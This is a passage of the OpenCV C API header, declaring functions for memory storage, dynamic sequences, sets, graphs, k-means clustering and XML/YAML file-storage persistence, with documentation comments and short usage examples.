cvGetOptimalDFTSize( int size0 ); /** Discrete Cosine Transform @see core_c_DftFlags "flags" */ CVAPI(void) cvDCT( const CvArr* src, CvArr* dst, int flags ); /****************************************************************************************\ * Dynamic data structures * \****************************************************************************************/ /** Calculates length of sequence slice (with support of negative indices). */ CVAPI(int) cvSliceLength( CvSlice slice, const CvSeq* seq ); /** Creates new memory storage. block_size == 0 means that default, somewhat optimal size, is used (currently, it is 64K) */ CVAPI(CvMemStorage*) cvCreateMemStorage( int block_size CV_DEFAULT(0)); /** Creates a memory storage that will borrow memory blocks from parent storage */ CVAPI(CvMemStorage*) cvCreateChildMemStorage( CvMemStorage* parent ); /** Releases memory storage. All the children of a parent must be released before the parent. A child storage returns all the blocks to parent when it is released */ CVAPI(void) cvReleaseMemStorage( CvMemStorage** storage ); /** Clears memory storage. This is the only way(!!!) (besides cvRestoreMemStoragePos) to reuse memory allocated for the storage - cvClearSeq,cvClearSet ... do not free any memory. A child storage returns all the blocks to the parent when it is cleared */ CVAPI(void) cvClearMemStorage( CvMemStorage* storage ); /** Remember a storage "free memory" position */ CVAPI(void) cvSaveMemStoragePos( const CvMemStorage* storage, CvMemStoragePos* pos ); /** Restore a storage "free memory" position */ CVAPI(void) cvRestoreMemStoragePos( CvMemStorage* storage, CvMemStoragePos* pos ); /** Allocates continuous buffer of the specified size in the storage */ CVAPI(void*) cvMemStorageAlloc( CvMemStorage* storage, size_t size ); /** Allocates string in memory storage */ //CVAPI(CvString) cvMemStorageAllocString( CvMemStorage* storage, const char* ptr, // int len CV_DEFAULT(-1) ); /** Creates new empty sequence that will reside in the specified storage */ CVAPI(CvSeq*) cvCreateSeq( int seq_flags, size_t header_size, size_t elem_size, CvMemStorage* storage ); /** Changes default size (granularity) of sequence blocks. The default size is ~1Kbyte */ CVAPI(void) cvSetSeqBlockSize( CvSeq* seq, int delta_elems ); /** Adds new element to the end of sequence. Returns pointer to the element */ CVAPI(schar*) cvSeqPush( CvSeq* seq, const void* element CV_DEFAULT(NULL)); /** Adds new element to the beginning of sequence. Returns pointer to it */ CVAPI(schar*) cvSeqPushFront( CvSeq* seq, const void* element CV_DEFAULT(NULL)); /** Removes the last element from sequence and optionally saves it */ CVAPI(void) cvSeqPop( CvSeq* seq, void* element CV_DEFAULT(NULL)); /** Removes the first element from sequence and optioanally saves it */ CVAPI(void) cvSeqPopFront( CvSeq* seq, void* element CV_DEFAULT(NULL)); #define CV_FRONT 1 #define CV_BACK 0 /** Adds several new elements to the end of sequence */ CVAPI(void) cvSeqPushMulti( CvSeq* seq, const void* elements, int count, int in_front CV_DEFAULT(0) ); /** Removes several elements from the end of sequence and optionally saves them */ CVAPI(void) cvSeqPopMulti( CvSeq* seq, void* elements, int count, int in_front CV_DEFAULT(0) ); /** Inserts a new element in the middle of sequence. cvSeqInsert(seq,0,elem) == cvSeqPushFront(seq,elem) */ CVAPI(schar*) cvSeqInsert( CvSeq* seq, int before_index, const void* element CV_DEFAULT(NULL)); /** Removes specified sequence element */ CVAPI(void) cvSeqRemove( CvSeq* seq, int index ); /** Removes all the elements from the sequence. The freed memory can be reused later only by the same sequence unless cvClearMemStorage or cvRestoreMemStoragePos is called */ CVAPI(void) cvClearSeq( CvSeq* seq ); /** Retrieves pointer to specified sequence element. Negative indices are supported and mean counting from the end (e.g -1 means the last sequence element) */ CVAPI(schar*) cvGetSeqElem( const CvSeq* seq, int index ); /** Calculates index of the specified sequence element. Returns -1 if element does not belong to the sequence */ CVAPI(int) cvSeqElemIdx( const CvSeq* seq, const void* element, CvSeqBlock** block CV_DEFAULT(NULL) ); /** Initializes sequence writer. The new elements will be added to the end of sequence */ CVAPI(void) cvStartAppendToSeq( CvSeq* seq, CvSeqWriter* writer ); /** Combination of cvCreateSeq and cvStartAppendToSeq */ CVAPI(void) cvStartWriteSeq( int seq_flags, int header_size, int elem_size, CvMemStorage* storage, CvSeqWriter* writer ); /** Closes sequence writer, updates sequence header and returns pointer to the resultant sequence (which may be useful if the sequence was created using cvStartWriteSeq)) */ CVAPI(CvSeq*) cvEndWriteSeq( CvSeqWriter* writer ); /** Updates sequence header. May be useful to get access to some of previously written elements via cvGetSeqElem or sequence reader */ CVAPI(void) cvFlushSeqWriter( CvSeqWriter* writer ); /** Initializes sequence reader. The sequence can be read in forward or backward direction */ CVAPI(void) cvStartReadSeq( const CvSeq* seq, CvSeqReader* reader, int reverse CV_DEFAULT(0) ); /** Returns current sequence reader position (currently observed sequence element) */ CVAPI(int) cvGetSeqReaderPos( CvSeqReader* reader ); /** Changes sequence reader position. It may seek to an absolute or to relative to the current position */ CVAPI(void) cvSetSeqReaderPos( CvSeqReader* reader, int index, int is_relative CV_DEFAULT(0)); /** Copies sequence content to a continuous piece of memory */ CVAPI(void*) cvCvtSeqToArray( const CvSeq* seq, void* elements, CvSlice slice CV_DEFAULT(CV_WHOLE_SEQ) ); /** Creates sequence header for array. After that all the operations on sequences that do not alter the content can be applied to the resultant sequence */ CVAPI(CvSeq*) cvMakeSeqHeaderForArray( int seq_type, int header_size, int elem_size, void* elements, int total, CvSeq* seq, CvSeqBlock* block ); /** Extracts sequence slice (with or without copying sequence elements) */ CVAPI(CvSeq*) cvSeqSlice( const CvSeq* seq, CvSlice slice, CvMemStorage* storage CV_DEFAULT(NULL), int copy_data CV_DEFAULT(0)); CV_INLINE CvSeq* cvCloneSeq( const CvSeq* seq, CvMemStorage* storage CV_DEFAULT(NULL)) { return cvSeqSlice( seq, CV_WHOLE_SEQ, storage, 1 ); } /** Removes sequence slice */ CVAPI(void) cvSeqRemoveSlice( CvSeq* seq, CvSlice slice ); /** Inserts a sequence or array into another sequence */ CVAPI(void) cvSeqInsertSlice( CvSeq* seq, int before_index, const CvArr* from_arr ); /** a < b ? -1 : a > b ? 1 : 0 */ typedef int (CV_CDECL* CvCmpFunc)(const void* a, const void* b, void* userdata ); /** Sorts sequence in-place given element comparison function */ CVAPI(void) cvSeqSort( CvSeq* seq, CvCmpFunc func, void* userdata CV_DEFAULT(NULL) ); /** Finds element in a [sorted] sequence */ CVAPI(schar*) cvSeqSearch( CvSeq* seq, const void* elem, CvCmpFunc func, int is_sorted, int* elem_idx, void* userdata CV_DEFAULT(NULL) ); /** Reverses order of sequence elements in-place */ CVAPI(void) cvSeqInvert( CvSeq* seq ); /** Splits sequence into one or more equivalence classes using the specified criteria */ CVAPI(int) cvSeqPartition( const CvSeq* seq, CvMemStorage* storage, CvSeq** labels, CvCmpFunc is_equal, void* userdata ); /************ Internal sequence functions ************/ CVAPI(void) cvChangeSeqBlock( void* reader, int direction ); CVAPI(void) cvCreateSeqBlock( CvSeqWriter* writer ); /** Creates a new set */ CVAPI(CvSet*) cvCreateSet( int set_flags, int header_size, int elem_size, CvMemStorage* storage ); /** Adds new element to the set and returns pointer to it */ CVAPI(int) cvSetAdd( CvSet* set_header, CvSetElem* elem CV_DEFAULT(NULL), CvSetElem** inserted_elem CV_DEFAULT(NULL) ); /** Fast variant of cvSetAdd */ CV_INLINE CvSetElem* cvSetNew( CvSet* set_header ) { CvSetElem* elem = set_header->free_elems; if( elem ) { set_header->free_elems = elem->next_free; elem->flags = elem->flags & CV_SET_ELEM_IDX_MASK; set_header->active_count++; } else cvSetAdd( set_header, NULL, &elem ); return elem; } /** Removes set element given its pointer */ CV_INLINE void cvSetRemoveByPtr( CvSet* set_header, void* elem ) { CvSetElem* _elem = (CvSetElem*)elem; assert( _elem->flags >= 0 /*&& (elem->flags & CV_SET_ELEM_IDX_MASK) < set_header->total*/ ); _elem->next_free = set_header->free_elems; _elem->flags = (_elem->flags & CV_SET_ELEM_IDX_MASK) | CV_SET_ELEM_FREE_FLAG; set_header->free_elems = _elem; set_header->active_count--; } /** Removes element from the set by its index */ CVAPI(void) cvSetRemove( CvSet* set_header, int index ); /** Returns a set element by index. If the element doesn't belong to the set, NULL is returned */ CV_INLINE CvSetElem* cvGetSetElem( const CvSet* set_header, int idx ) { CvSetElem* elem = (CvSetElem*)(void *)cvGetSeqElem( (CvSeq*)set_header, idx ); return elem && CV_IS_SET_ELEM( elem ) ? elem : 0; } /** Removes all the elements from the set */ CVAPI(void) cvClearSet( CvSet* set_header ); /** Creates new graph */ CVAPI(CvGraph*) cvCreateGraph( int graph_flags, int header_size, int vtx_size, int edge_size, CvMemStorage* storage ); /** Adds new vertex to the graph */ CVAPI(int) cvGraphAddVtx( CvGraph* graph, const CvGraphVtx* vtx CV_DEFAULT(NULL), CvGraphVtx** inserted_vtx CV_DEFAULT(NULL) ); /** Removes vertex from the graph together with all incident edges */ CVAPI(int) cvGraphRemoveVtx( CvGraph* graph, int index ); CVAPI(int) cvGraphRemoveVtxByPtr( CvGraph* graph, CvGraphVtx* vtx ); /** Link two vertices specified by indices or pointers if they are not connected or return pointer to already existing edge connecting the vertices. Functions return 1 if a new edge was created, 0 otherwise */ CVAPI(int) cvGraphAddEdge( CvGraph* graph, int start_idx, int end_idx, const CvGraphEdge* edge CV_DEFAULT(NULL), CvGraphEdge** inserted_edge CV_DEFAULT(NULL) ); CVAPI(int) cvGraphAddEdgeByPtr( CvGraph* graph, CvGraphVtx* start_vtx, CvGraphVtx* end_vtx, const CvGraphEdge* edge CV_DEFAULT(NULL), CvGraphEdge** inserted_edge CV_DEFAULT(NULL) ); /** Remove edge connecting two vertices */ CVAPI(void) cvGraphRemoveEdge( CvGraph* graph, int start_idx, int end_idx ); CVAPI(void) cvGraphRemoveEdgeByPtr( CvGraph* graph, CvGraphVtx* start_vtx, CvGraphVtx* end_vtx ); /** Find edge connecting two vertices */ CVAPI(CvGraphEdge*) cvFindGraphEdge( const CvGraph* graph, int start_idx, int end_idx ); CVAPI(CvGraphEdge*) cvFindGraphEdgeByPtr( const CvGraph* graph, const CvGraphVtx* start_vtx, const CvGraphVtx* end_vtx ); #define cvGraphFindEdge cvFindGraphEdge #define cvGraphFindEdgeByPtr cvFindGraphEdgeByPtr /** Remove all vertices and edges from the graph */ CVAPI(void) cvClearGraph( CvGraph* graph ); /** Count number of edges incident to the vertex */ CVAPI(int) cvGraphVtxDegree( const CvGraph* graph, int vtx_idx ); CVAPI(int) cvGraphVtxDegreeByPtr( const CvGraph* graph, const CvGraphVtx* vtx ); /** Retrieves graph vertex by given index */ #define cvGetGraphVtx( graph, idx ) (CvGraphVtx*)cvGetSetElem((CvSet*)(graph), (idx)) /** Retrieves index of a graph vertex given its pointer */ #define cvGraphVtxIdx( graph, vtx ) ((vtx)->flags & CV_SET_ELEM_IDX_MASK) /** Retrieves index of a graph edge given its pointer */ #define cvGraphEdgeIdx( graph, edge ) ((edge)->flags & CV_SET_ELEM_IDX_MASK) #define cvGraphGetVtxCount( graph ) ((graph)->active_count) #define cvGraphGetEdgeCount( graph ) ((graph)->edges->active_count) #define CV_GRAPH_VERTEX 1 #define CV_GRAPH_TREE_EDGE 2 #define CV_GRAPH_BACK_EDGE 4 #define CV_GRAPH_FORWARD_EDGE 8 #define CV_GRAPH_CROSS_EDGE 16 #define CV_GRAPH_ANY_EDGE 30 #define CV_GRAPH_NEW_TREE 32 #define CV_GRAPH_BACKTRACKING 64 #define CV_GRAPH_OVER -1 #define CV_GRAPH_ALL_ITEMS -1 /** flags for graph vertices and edges */ #define CV_GRAPH_ITEM_VISITED_FLAG (1 << 30) #define CV_IS_GRAPH_VERTEX_VISITED(vtx) \ (((CvGraphVtx*)(vtx))->flags & CV_GRAPH_ITEM_VISITED_FLAG) #define CV_IS_GRAPH_EDGE_VISITED(edge) \ (((CvGraphEdge*)(edge))->flags & CV_GRAPH_ITEM_VISITED_FLAG) #define CV_GRAPH_SEARCH_TREE_NODE_FLAG (1 << 29) #define CV_GRAPH_FORWARD_EDGE_FLAG (1 << 28) typedef struct CvGraphScanner { CvGraphVtx* vtx; /* current graph vertex (or current edge origin) */ CvGraphVtx* dst; /* current graph edge destination vertex */ CvGraphEdge* edge; /* current edge */ CvGraph* graph; /* the graph */ CvSeq* stack; /* the graph vertex stack */ int index; /* the lower bound of certainly visited vertices */ int mask; /* event mask */ } CvGraphScanner; /** Creates new graph scanner. */ CVAPI(CvGraphScanner*) cvCreateGraphScanner( CvGraph* graph, CvGraphVtx* vtx CV_DEFAULT(NULL), int mask CV_DEFAULT(CV_GRAPH_ALL_ITEMS)); /** Releases graph scanner. */ CVAPI(void) cvReleaseGraphScanner( CvGraphScanner** scanner ); /** Get next graph element */ CVAPI(int) cvNextGraphItem( CvGraphScanner* scanner ); /** Creates a copy of graph */ CVAPI(CvGraph*) cvCloneGraph( const CvGraph* graph, CvMemStorage* storage ); /** Does look-up transformation. Elements of the source array (that should be 8uC1 or 8sC1) are used as indexes in lutarr 256-element table */ CVAPI(void) cvLUT( const CvArr* src, CvArr* dst, const CvArr* lut ); /******************* Iteration through the sequence tree *****************/ typedef struct CvTreeNodeIterator { const void* node; int level; int max_level; } CvTreeNodeIterator; CVAPI(void) cvInitTreeNodeIterator( CvTreeNodeIterator* tree_iterator, const void* first, int max_level ); CVAPI(void*) cvNextTreeNode( CvTreeNodeIterator* tree_iterator ); CVAPI(void*) cvPrevTreeNode( CvTreeNodeIterator* tree_iterator ); /** Inserts sequence into tree with specified "parent" sequence. If parent is equal to frame (e.g. the most external contour), then added contour will have null pointer to parent. */ CVAPI(void) cvInsertNodeIntoTree( void* node, void* parent, void* frame ); /** Removes contour from tree (together with the contour children). */ CVAPI(void) cvRemoveNodeFromTree( void* node, void* frame ); /** Gathers pointers to all the sequences, accessible from the `first`, to the single sequence */ CVAPI(CvSeq*) cvTreeToNodeSeq( const void* first, int header_size, CvMemStorage* storage ); /** The function implements the K-means algorithm for clustering an array of sample vectors in a specified number of classes */ #define CV_KMEANS_USE_INITIAL_LABELS 1 CVAPI(int) cvKMeans2( const CvArr* samples, int cluster_count, CvArr* labels, CvTermCriteria termcrit, int attempts CV_DEFAULT(1), CvRNG* rng CV_DEFAULT(0), int flags CV_DEFAULT(0), CvArr* _centers CV_DEFAULT(0), double* compactness CV_DEFAULT(0) ); /****************************************************************************************\ * System functions * \****************************************************************************************/ /** Loads optimized functions from IPP, MKL etc. or switches back to pure C code */ CVAPI(int) cvUseOptimized( int on_off ); typedef IplImage* (CV_STDCALL* Cv_iplCreateImageHeader) (int,int,int,char*,char*,int,int,int,int,int, IplROI*,IplImage*,void*,IplTileInfo*); typedef void (CV_STDCALL* Cv_iplAllocateImageData)(IplImage*,int,int); typedef void (CV_STDCALL* Cv_iplDeallocate)(IplImage*,int); typedef IplROI* (CV_STDCALL* Cv_iplCreateROI)(int,int,int,int,int); typedef IplImage* (CV_STDCALL* Cv_iplCloneImage)(const IplImage*); /** @brief Makes OpenCV use IPL functions for allocating IplImage and IplROI structures. Normally, the function is not called directly. Instead, a simple macro CV_TURN_ON_IPL_COMPATIBILITY() is used that calls cvSetIPLAllocators and passes there pointers to IPL allocation functions. : @code ... CV_TURN_ON_IPL_COMPATIBILITY() ... @endcode @param create_header pointer to a function, creating IPL image header. @param allocate_data pointer to a function, allocating IPL image data. @param deallocate pointer to a function, deallocating IPL image. @param create_roi pointer to a function, creating IPL image ROI (i.e. Region of Interest). @param clone_image pointer to a function, cloning an IPL image. */ CVAPI(void) cvSetIPLAllocators( Cv_iplCreateImageHeader create_header, Cv_iplAllocateImageData allocate_data, Cv_iplDeallocate deallocate, Cv_iplCreateROI create_roi, Cv_iplCloneImage clone_image ); #define CV_TURN_ON_IPL_COMPATIBILITY() \ cvSetIPLAllocators( iplCreateImageHeader, iplAllocateImage, \ iplDeallocate, iplCreateROI, iplCloneImage ) /****************************************************************************************\ * Data Persistence * \****************************************************************************************/ #if 0 /********************************** High-level functions ********************************/ /** @brief Opens file storage for reading or writing data. The function opens file storage for reading or writing data. In the latter case, a new file is created or an existing file is rewritten. The type of the read or written file is determined by the filename extension: .xml for XML, .yml or .yaml for YAML and .json for JSON. At the same time, it also supports adding parameters like "example.xml?base64". The function returns a pointer to the CvFileStorage structure. If the file cannot be opened then the function returns NULL. @param filename Name of the file associated with the storage @param memstorage Memory storage used for temporary data and for : storing dynamic structures, such as CvSeq or CvGraph . If it is NULL, a temporary memory storage is created and used. @param flags Can be one of the following: > - **CV_STORAGE_READ** the storage is open for reading > - **CV_STORAGE_WRITE** the storage is open for writing (use **CV_STORAGE_WRITE | CV_STORAGE_WRITE_BASE64** to write rawdata in Base64) @param encoding */ CVAPI(CvFileStorage*) cvOpenFileStorage( const char* filename, CvMemStorage* memstorage, int flags, const char* encoding CV_DEFAULT(NULL) ); /** @brief Releases file storage. The function closes the file associated with the storage and releases all the temporary structures. It must be called after all I/O operations with the storage are finished. @param fs Double pointer to the released file storage */ CVAPI(void) cvReleaseFileStorage( CvFileStorage** fs ); /** returns attribute value or 0 (NULL) if there is no such attribute */ CVAPI(const char*) cvAttrValue( const CvAttrList* attr, const char* attr_name ); /** @brief Starts writing a new structure. The function starts writing a compound structure (collection) that can be a sequence or a map. After all the structure fields, which can be scalars or structures, are written, cvEndWriteStruct should be called. The function can be used to group some objects or to implement the write function for a some user object (see CvTypeInfo). @param fs File storage @param name Name of the written structure. The structure can be accessed by this name when the storage is read. @param struct_flags A combination one of the following values: - **CV_NODE_SEQ** the written structure is a sequence (see discussion of CvFileStorage ), that is, its elements do not have a name. - **CV_NODE_MAP** the written structure is a map (see discussion of CvFileStorage ), that is, all its elements have names. One and only one of the two above flags must be specified - **CV_NODE_FLOW** the optional flag that makes sense only for YAML streams. It means that the structure is written as a flow (not as a block), which is more compact. It is recommended to use this flag for structures or arrays whose elements are all scalars. @param type_name Optional parameter - the object type name. In case of XML it is written as a type_id attribute of the structure opening tag. In the case of YAML it is written after a colon following the structure name (see the example in CvFileStorage description). In case of JSON it is written as a name/value pair. Mainly it is used with user objects. When the storage is read, the encoded type name is used to determine the object type (see CvTypeInfo and cvFindType ). @param attributes This parameter is not used in the current implementation */ CVAPI(void) cvStartWriteStruct( CvFileStorage* fs, const char* name, int struct_flags, const char* type_name CV_DEFAULT(NULL), CvAttrList attributes CV_DEFAULT(cvAttrList())); /** @brief Finishes writing to a file node collection. @param fs File storage @sa cvStartWriteStruct. */ CVAPI(void) cvEndWriteStruct( CvFileStorage* fs ); /** @brief Writes an integer value. The function writes a single integer value (with or without a name) to the file storage. @param fs File storage @param name Name of the written value. Should be NULL if and only if the parent structure is a sequence. @param value The written value */ CVAPI(void) cvWriteInt( CvFileStorage* fs, const char* name, int value ); /** @brief Writes a floating-point value. The function writes a single floating-point value (with or without a name) to file storage. Special values are encoded as follows: NaN (Not A Number) as .NaN, infinity as +.Inf or -.Inf. The following example shows how to use the low-level writing functions to store custom structures, such as termination criteria, without registering a new type. : @code void write_termcriteria( CvFileStorage* fs, const char* struct_name, CvTermCriteria* termcrit ) { cvStartWriteStruct( fs, struct_name, CV_NODE_MAP, NULL, cvAttrList(0,0)); cvWriteComment( fs, "termination criteria", 1 ); // just a description if( termcrit->type & CV_TERMCRIT_ITER ) cvWriteInteger( fs, "max_iterations", termcrit->max_iter ); if( termcrit->type & CV_TERMCRIT_EPS ) cvWriteReal( fs, "accuracy", termcrit->epsilon ); cvEndWriteStruct( fs ); } @endcode @param fs File storage @param name Name of the written value. Should be NULL if and only if the parent structure is a sequence. @param value The written value */ CVAPI(void) cvWriteReal( CvFileStorage* fs, const char* name, double value ); /** @brief Writes a text string. The function writes a text string to file storage. @param fs File storage @param name Name of the written string . Should be NULL if and only if the parent structure is a sequence. @param str The written text string @param quote If non-zero, the written string is put in quotes, regardless of whether they are required. Otherwise, if the flag is zero, quotes are used only when they are required (e.g. when the string starts with a digit or contains spaces). */ CVAPI(void) cvWriteString( CvFileStorage* fs, const char* name, const char* str, int quote CV_DEFAULT(0) ); /** @brief Writes a comment. The function writes a comment into file storage. The comments are skipped when the storage is read. @param fs File storage @param comment The written comment, single-line or multi-line @param eol_comment If non-zero, the function tries to put the comment at the end of current line. If the flag is zero, if the comment is multi-line, or if it does not fit at the end of the current line, the comment starts a new line. */ CVAPI(void) cvWriteComment( CvFileStorage* fs, const char* comment, int eol_comment ); /** @brief Writes an object to file storage. The function writes an object to file storage. First, the appropriate type info is found using cvTypeOf. Then, the write method associated with the type info is called. Attributes are used to customize the writing procedure. The standard types support the following attributes (all the dt attributes have the same format as in cvWriteRawData): -# CvSeq - **header_dt** description of user fields of the sequence header that follow CvSeq, or CvChain (if the sequence is a Freeman chain) or CvContour (if the sequence is a contour or point sequence) - **dt** description of the sequence elements. - **recursive** if the attribute is present and is not equal to "0" or "false", the whole tree of sequences (contours) is stored. -# CvGraph - **header_dt** description of user fields of the graph header that follows CvGraph; - **vertex_dt** description of user fields of graph vertices - **edge_dt** description of user fields of graph edges (note that the edge weight is always written, so there is no need to specify it explicitly) Below is the code that creates the YAML file shown in the CvFileStorage description: @code #include "cxcore.h" int main( int argc, char** argv ) { CvMat* mat = cvCreateMat( 3, 3, CV_32F ); CvFileStorage* fs = cvOpenFileStorage( "example.yml", 0, CV_STORAGE_WRITE ); cvSetIdentity( mat ); cvWrite( fs, "A", mat, cvAttrList(0,0) ); cvReleaseFileStorage( &fs ); cvReleaseMat( &mat ); return 0; } @endcode @param fs File storage @param name Name of the written object. Should be NULL if and only if the parent structure is a sequence. @param ptr Pointer to the object @param attributes The attributes of the object. They are specific for each particular type (see the discussion below). */ CVAPI(void) cvWrite( CvFileStorage* fs, const char* name, const void* ptr, CvAttrList attributes CV_DEFAULT(cvAttrList())); /** @brief Starts the next stream. The function finishes the currently written stream and starts the next stream. In the case of XML the file with multiple streams looks like this: @code{.xml} <opencv_storage> <!-- stream #1 data --> </opencv_storage> <opencv_storage> <!-- stream #2 data --> </opencv_storage> ... @endcode The YAML file will look like this: @code{.yaml} %YAML 1.0 # stream #1 data ... --- # stream #2 data @endcode This is useful for concatenating files or for resuming the writing process. @param fs File storage */ CVAPI(void) cvStartNextStream( CvFileStorage* fs ); /** @brief Writes multiple numbers. The function writes an array, whose elements consist of single or multiple numbers. The function call can be replaced with a loop containing a few cvWriteInt and cvWriteReal calls, but a single call is more efficient. Note that because none of the elements have a name, they should be written to a sequence rather than a map. @param fs File storage @param src Pointer to the written array @param len Number of the array elements to write @param dt Specification of each array element, see @ref format_spec "format specification" */ CVAPI(void) cvWriteRawData( CvFileStorage* fs, const void* src, int len, const char* dt ); /** @brief Writes multiple numbers in Base64. If either CV_STORAGE_WRITE_BASE64 or cv::FileStorage::WRITE_BASE64 is used, this function will be the same as cvWriteRawData. If neither, the main difference is that it outputs a sequence in Base64 encoding rather than in plain text. This function can only be used to write a sequence with a type "binary". @param fs File storage @param src Pointer to the written array @param len Number of the array elements to write @param dt Specification of each array element, see @ref format_spec "format specification" */ CVAPI(void) cvWriteRawDataBase64( CvFileStorage* fs, const void* src, int len, const char* dt ); /** @brief Returns a unique pointer for a given name. The function returns a unique pointer for each particular file node name. This pointer can be then passed to the cvGetFileNode function that is faster than cvGetFileNodeByName because it compares text strings by comparing pointers rather than the strings' content. Consider the following example where an array of points is encoded as a sequence of 2-entry maps: @code points: - { x: 10, y: 10 } - { x: 20, y: 20 } - { x: 30, y: 30 } # ... @endcode Then, it is possible to get hashed "x" and "y" pointers to speed up decoding of the points. : @code #include "cxcore.h" int main( int argc, char** argv ) { CvFileStorage* fs = cvOpenFileStorage( "points.yml", 0, CV_STORAGE_READ ); CvStringHashNode* x_key = cvGetHashedNode( fs, "x", -1, 1 ); CvStringHashNode* y_key = cvGetHashedNode( fs, "y", -1, 1 ); CvFileNode* points = cvGetFileNodeByName( fs, 0, "points" ); if( CV_NODE_IS_SEQ(points->tag) ) { CvSeq* seq = points->data.seq; int i, total = seq->total; CvSeqReader reader; cvStartReadSeq( seq, &reader, 0 ); for( i = 0; i < total; i++ ) { CvFileNode* pt = (CvFileNode*)reader.ptr; #if 1 // faster variant CvFileNode* xnode = cvGetFileNode( fs, pt, x_key, 0 ); CvFileNode* ynode = cvGetFileNode( fs, pt, y_key, 0 ); assert( xnode && CV_NODE_IS_INT(xnode->tag) && ynode && CV_NODE_IS_INT(ynode->tag)); int x = xnode->data.i; // or x = cvReadInt( xnode, 0 ); int y = ynode->data.i; // or y = cvReadInt( ynode, 0 ); #elif 1 // slower variant; does not use x_key & y_key CvFileNode* xnode = cvGetFileNodeByName( fs, pt, "x" ); CvFileNode* ynode = cvGetFileNodeByName( fs, pt, "y" ); assert( xnode && CV_NODE_IS_INT(xnode->tag) && ynode && CV_NODE_IS_INT(ynode->tag)); int x = xnode->data.i; // or x = cvReadInt( xnode, 0 ); int y = ynode->data.i; // or y = cvReadInt( ynode, 0 ); #else // the slowest yet the easiest to use variant int x = cvReadIntByName( fs, pt, "x", 0 ); int y = cvReadIntByName( fs, pt, "y", 0 ); #endif CV_NEXT_SEQ_ELEM( seq->elem_size, reader ); printf(" } } cvReleaseFileStorage( &fs ); return 0; } @endcode Please note that whatever method of accessing a map you are using, it is still much slower than using plain sequences; for example, in the above example, it is more efficient to encode the points as pairs of integers in a single numeric sequence. @param fs File storage @param name Literal node name @param len Length of the name (if it is known apriori), or -1 if it needs to be calculated @param create_missing Flag that specifies, whether an absent key should be added into the hash table */ CVAPI(CvStringHashNode*) cvGetHashedKey( CvFileStorage* fs, const char* name, int len CV_DEFAULT(-1), int create_missing CV_DEFAULT(0)); /** @brief Retrieves one of the top-level nodes of the file storage. The function returns one of the top-level file nodes. The top-level nodes do not have a name, they correspond to the streams that are stored one after another in the file storage. If the index is out of range, the function returns a NULL pointer, so all the top-level nodes can be iterated by subsequent calls to the function with stream_index=0,1,..., until the NULL pointer is returned. This function can be used as a base for recursive traversal of the file storage. @param fs File storage @param stream_index Zero-based index of the stream. See cvStartNextStream . In most cases, there is only one stream in the file; however, there can be several. */ CVAPI(CvFileNode*) cvGetRootFileNode( const CvFileStorage* fs, int stream_index CV_DEFAULT(0) ); /** @brief Finds a node in a map or file storage. The function finds a file node. It is a faster version of cvGetFileNodeByName (see cvGetHashedKey discussion). Also, the function can insert a new node, if it is not in the map yet. @param fs File storage @param map The parent map. If it is NULL, the function searches a top-level node. If both map and key are NULLs, the function returns the root file node - a map that contains top-level nodes. @param key Unique pointer to the node name, retrieved with cvGetHashedKey @param create_missing Flag that specifies whether an absent node should be added to the map */ CVAPI(CvFileNode*) cvGetFileNode( CvFileStorage* fs, CvFileNode* map, const CvStringHashNode* key, int create_missing CV_DEFAULT(0) ); /** @brief Finds a node in a map or file storage. The function finds a file node by name. The node is searched either in map or, if the pointer is NULL, among the top-level file storage nodes. Using this function for maps and cvGetSeqElem (or sequence reader) for sequences, it is possible to navigate through the file storage. To speed up multiple queries for a certain key (e.g., in the case of an array of structures) one may use a combination of cvGetHashedKey and cvGetFileNode. @param fs File storage @param map The parent map. If it is NULL, the function searches in all the top-level nodes (streams), starting with the first one. @param name The file node name */ CVAPI(CvFileNode*) cvGetFileNodeByName( const CvFileStorage* fs, const CvFileNode* map, const char* name ); /** @brief Retrieves an integer value from a file node. The function returns an integer that is represented by the file node. If the file node is NULL, the default_value is returned (thus, it is convenient to call the function right after cvGetFileNode without checking for a NULL pointer). If the file node has type CV_NODE_INT, then node-\>data.i is returned. If the file node has type CV_NODE_REAL, then node-\>data.f is converted to an integer and returned. Otherwise the error is reported. @param node File node @param default_value The value that is returned if node is NULL */ CV_INLINE int cvReadInt( const CvFileNode* node, int default_value CV_DEFAULT(0) ) { return !node ? default_value : CV_NODE_IS_INT(node->tag) ? node->data.i : CV_NODE_IS_REAL(node->tag) ? cvRound(node->data.f) : 0x7fffffff; } /** @brief Finds a file node and returns its value. The function is a simple superposition of cvGetFileNodeByName and cvReadInt. @param fs File storage @param map The parent map. If it is NULL, the function searches a top-level node. @param name The node name @param default_value The value that is returned if the file node is not found */ CV_INLINE int cvReadIntByName( const CvFileStorage* fs, const CvFileNode* map, const char* name, int default_value CV_DEFAULT(0) ) { return cvReadInt( cvGetFileNodeByName( fs, map, name ), default_value ); } /** @brief Retrieves a floating-point value from a file node. The function returns a floating-point value that is represented by the file node. If the file node is NULL, the default_value is returned (thus, it is convenient to call the function right after cvGetFileNode without checking for a NULL pointer). If the file node has type CV_NODE_REAL , then node-\>data.f is returned. If the file node has type CV_NODE_INT , then node-:math:\>data.f is converted to floating-point and returned. Otherwise the result is not determined. @param node File node @param default_value The value that is returned if node is NULL */ CV_INLINE double cvReadReal( const CvFileNode* node, double default_value CV_DEFAULT(0.) ) { return !node ? default_value : CV_NODE_IS_INT(node->tag) ? (double)node->data.i : CV_NODE_IS_REAL(node->tag) ? node->data.f : 1e300; } /** @brief Finds a file node and returns its value. The function is a simple superposition of cvGetFileNodeByName and cvReadReal . @param fs File storage @param map The parent map. If it is NULL, the function searches a top-level node. @param name The node name @param default_value The value that is returned if the file node is not found */ CV_INLINE double cvReadRealByName( const CvFileStorage* fs, const CvFileNode* map, const char* name, double default_value CV_DEFAULT(0.) ) { return cvReadReal( cvGetFileNodeByName( fs, map, name ), default_value ); } /** @brief Retrieves a text string from a file node. The function returns a text string that is represented by the file node. If the file node is NULL, the default_value is returned (thus, it is convenient to call the function right after cvGetFileNode without checking for a NULL pointer). If the file node has type CV_NODE_STR , then node-:math:\>data.str.ptr is returned. Otherwise the result is not determined. @param node File node @param default_value The value that is returned if node is NULL */ CV_INLINE const char* cvReadString( const CvFileNode* node, const char* default_value CV_DEFAULT(NULL) ) { return !node ? default_value : CV_NODE_IS_STRING(node->tag) ? node->data.str.ptr : 0; } /** @brief Finds a file node by its name and returns its value. The function is a simple superposition of cvGetFileNodeByName and cvReadString . @param fs File storage @param map The parent map. If it is NULL, the function searches a top-level node. @param name The node name @param default_value The value that is returned if the file node is not found */ CV_INLINE const char* cvReadStringByName( const CvFileStorage* fs, const CvFileNode* map, const char* name, const char* default_value CV_DEFAULT(NULL) ) { return cvReadString( 